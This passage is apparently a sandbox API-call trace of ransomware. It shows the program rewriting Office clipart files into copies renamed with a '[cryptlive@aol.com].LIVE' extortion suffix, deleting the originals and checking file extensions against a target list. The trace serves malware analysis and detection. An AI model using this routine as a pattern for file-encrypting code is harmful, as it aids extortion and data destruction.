Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 0x20 [0141.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.244] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.244] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.248] GetLastError () returned 0x0 [0141.248] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x85c, lpOverlapped=0x0) returned 1 [0141.347] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x860, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x860, lpOverlapped=0x0) returned 1 [0141.348] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.348] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.348] SetEndOfFile (hFile=0x3a4) returned 1 [0141.348] CloseHandle (hObject=0x3a4) returned 1 [0141.349] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.349] SetEndOfFile (hFile=0x3a8) returned 1 [0141.351] CloseHandle (hObject=0x3a8) returned 1 [0141.351] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.351] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0141.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.352] lstrlenW (lpString=".doc") returned 4 [0141.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString=".docx") returned 5 [0141.352] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.352] lstrlenW (lpString=".pdf") returned 4 [0141.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString=".xls") returned 4 [0141.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.352] lstrlenW (lpString=".xlsx") returned 5 [0141.352] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.352] lstrlenW (lpString=".ppt") returned 4 [0141.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.352] lstrlenW (lpString=".zip") returned 4 [0141.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.352] lstrlenW (lpString=".rar") returned 4 [0141.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString=".bz2") returned 4 [0141.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString=".7z") returned 3 [0141.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.352] lstrlenW (lpString=".dbf") returned 4 [0141.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.352] lstrlenW (lpString=".1cd") returned 4 [0141.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.352] lstrlenW (lpString=".jpg") returned 4 [0141.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.353] lstrlenW (lpString=".doc") returned 4 [0141.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString=".docx") returned 5 [0141.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.353] lstrlenW (lpString=".pdf") returned 4 [0141.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString=".xls") returned 4 [0141.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.353] lstrlenW (lpString=".xlsx") returned 5 [0141.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.353] lstrlenW (lpString=".ppt") returned 4 [0141.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.353] lstrlenW (lpString=".zip") returned 4 [0141.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.353] lstrlenW (lpString=".rar") returned 4 [0141.353] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString=".bz2") returned 4 [0141.353] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString=".7z") returned 3 [0141.353] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.353] lstrlenW (lpString=".dbf") returned 4 [0141.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.353] lstrlenW (lpString=".1cd") returned 4 [0141.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0141.353] lstrlenW (lpString=".jpg") returned 4 [0141.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.353] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.354] lstrlenW (lpString="DD01146_.WMF") returned 12 [0141.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.354] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2796) returned 1 [0141.354] CloseHandle (hObject=0x3a8) returned 1 [0141.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0141.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.355] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.355] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.355] GetLastError () returned 0x0 [0141.355] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xaec, lpOverlapped=0x0) returned 1 [0141.398] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0141.399] ReadFile (in: hFile=0x3a8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.399] WriteFile (in: hFile=0x3a4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.399] SetEndOfFile (hFile=0x3a4) returned 1 [0141.400] CloseHandle (hObject=0x3a4) returned 1 [0141.400] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.400] SetEndOfFile (hFile=0x3a8) returned 1 [0141.402] CloseHandle (hObject=0x3a8) returned 1 [0141.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0141.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.403] lstrlenW (lpString=".doc") returned 4 [0141.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.403] lstrlenW (lpString=".docx") returned 5 [0141.403] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.403] lstrlenW (lpString=".pdf") returned 4 [0141.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.403] lstrlenW (lpString=".xls") returned 4 [0141.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.403] lstrlenW (lpString=".xlsx") returned 5 [0141.403] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.403] lstrlenW (lpString=".ppt") returned 4 [0141.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.403] lstrlenW (lpString=".zip") returned 4 [0141.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.403] lstrlenW (lpString=".rar") returned 4 [0141.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.403] lstrlenW (lpString=".bz2") returned 4 [0141.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.403] lstrlenW (lpString=".7z") returned 3 [0141.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString=".dbf") returned 4 [0141.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString=".1cd") returned 4 [0141.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString=".jpg") returned 4 [0141.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString=".doc") returned 4 [0141.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString=".docx") returned 5 [0141.404] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.404] lstrlenW (lpString=".pdf") returned 4 [0141.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString=".xls") returned 4 [0141.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.404] lstrlenW (lpString=".xlsx") returned 5 [0141.404] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.404] lstrlenW (lpString=".ppt") returned 4 [0141.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString=".zip") returned 4 [0141.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.404] lstrlenW (lpString=".rar") returned 4 [0141.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString=".bz2") returned 4 [0141.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.404] lstrlenW (lpString=".7z") returned 3 [0141.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.404] lstrlenW (lpString=".dbf") returned 4 [0141.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.405] lstrlenW (lpString=".1cd") returned 4 [0141.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0141.405] lstrlenW (lpString=".jpg") returned 4 [0141.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.405] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.405] lstrlenW (lpString="DD01160_.WMF") returned 12 [0141.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.414] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2228) returned 1 [0141.414] CloseHandle (hObject=0x1ec) returned 1 [0141.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x20 [0141.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.418] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.418] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.419] GetLastError () returned 0x0 [0141.419] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x8b4, lpOverlapped=0x0) returned 1 [0141.420] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0141.421] ReadFile (in: hFile=0x1ec, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.421] WriteFile (in: hFile=0x380, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.421] SetEndOfFile (hFile=0x380) returned 1 [0141.421] CloseHandle (hObject=0x380) returned 1 [0141.421] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.421] SetEndOfFile (hFile=0x1ec) returned 1 [0141.424] CloseHandle (hObject=0x1ec) returned 1 [0141.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.425] lstrlenW (lpString=".doc") returned 4 [0141.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString=".docx") returned 5 [0141.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.425] lstrlenW (lpString=".pdf") returned 4 [0141.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString=".xls") returned 4 [0141.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.425] lstrlenW (lpString=".xlsx") returned 5 [0141.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.425] lstrlenW (lpString=".ppt") returned 4 [0141.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.425] lstrlenW (lpString=".zip") returned 4 [0141.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.425] lstrlenW (lpString=".rar") returned 4 [0141.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString=".bz2") returned 4 [0141.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString=".7z") returned 3 [0141.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.425] lstrlenW (lpString=".dbf") returned 4 [0141.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.425] lstrlenW (lpString=".1cd") returned 4 [0141.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.425] lstrlenW (lpString=".jpg") returned 4 [0141.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.426] lstrlenW (lpString=".doc") returned 4 [0141.426] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString=".docx") returned 5 [0141.426] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.426] lstrlenW (lpString=".pdf") returned 4 [0141.426] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString=".xls") returned 4 [0141.426] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.426] lstrlenW (lpString=".xlsx") returned 5 [0141.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.426] lstrlenW (lpString=".ppt") returned 4 [0141.426] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.426] lstrlenW (lpString=".zip") returned 4 [0141.426] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.426] lstrlenW (lpString=".rar") returned 4 [0141.426] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString=".bz2") returned 4 [0141.426] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString=".7z") returned 3 [0141.426] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.426] lstrlenW (lpString=".dbf") returned 4 [0141.426] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.426] lstrlenW (lpString=".1cd") returned 4 [0141.426] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 63 [0141.426] lstrlenW (lpString=".jpg") returned 4 [0141.426] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.426] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.426] lstrlenW (lpString="DD01162_.WMF") returned 12 [0141.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.427] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2300) returned 1 [0141.427] CloseHandle (hObject=0x1ec) returned 1 [0141.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x20 [0141.427] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 